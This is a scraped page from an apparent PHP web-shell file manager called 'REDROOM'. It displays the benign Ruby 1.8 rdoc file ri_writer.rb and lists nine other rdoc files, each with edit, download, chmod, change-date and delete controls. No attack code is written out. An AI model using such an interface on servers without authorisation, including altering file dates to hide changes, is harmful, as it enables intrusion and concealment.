REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.50 KB
Close
/proc/thread-self/root/opt/alt/ruby18/lib64/ruby/1.8/rdoc/ri/ri_writer.rb
Text
Base64
require 'fileutils' module RI class RiWriter def RiWriter.class_desc_path(dir, class_desc) File.join(dir, "cdesc-" + class_desc.name + ".yaml") end # Convert a name from internal form (containing punctuation) # to an external form (where punctuation is replaced # by %xx) def RiWriter.internal_to_external(name) name.gsub(/\W/) { sprintf("%%%02x", $&[0]) } end # And the reverse operation def RiWriter.external_to_internal(name) name.gsub(/%([0-9a-f]{2,2})/) { $1.to_i(16).chr } end def initialize(base_dir) @base_dir = base_dir end def remove_class(class_desc) FileUtils.rm_rf(path_to_dir(class_desc.full_name)) end def add_class(class_desc) dir = path_to_dir(class_desc.full_name) FileUtils.mkdir_p(dir) class_file_name = RiWriter.class_desc_path(dir, class_desc) File.open(class_file_name, "w") do |f| f.write(class_desc.serialize) end end def add_method(class_desc, method_desc) dir = path_to_dir(class_desc.full_name) file_name = RiWriter.internal_to_external(method_desc.name) meth_file_name = File.join(dir, file_name) if method_desc.is_singleton meth_file_name += "-c.yaml" else meth_file_name += "-i.yaml" end File.open(meth_file_name, "w") do |f| f.write(method_desc.serialize) end end private def path_to_dir(class_name) File.join(@base_dir, *class_name.split('::')) end end end
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 10
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
ri_cache.rb
4.80 KB
lrw-r--r--
2007-02-12 23:01:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_descriptions.rb
2.96 KB
lrw-r--r--
2007-02-12 23:01:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_display.rb
6.63 KB
lrw-r--r--
2007-02-12 23:01:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_driver.rb
3.94 KB
lrw-r--r--
2007-02-12 23:01:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_formatter.rb
14.39 KB
lrw-r--r--
2007-02-12 23:01:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_options.rb
8.60 KB
lrw-r--r--
2007-12-24 07:22:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_paths.rb
2.90 KB
lrw-r--r--
2007-12-24 07:22:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_reader.rb
2.18 KB
lrw-r--r--
2007-02-12 23:01:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_util.rb
2.10 KB
lrw-r--r--
2007-02-12 23:01:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ri_writer.rb
1.50 KB
lrw-r--r--
2007-02-12 23:01:19
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).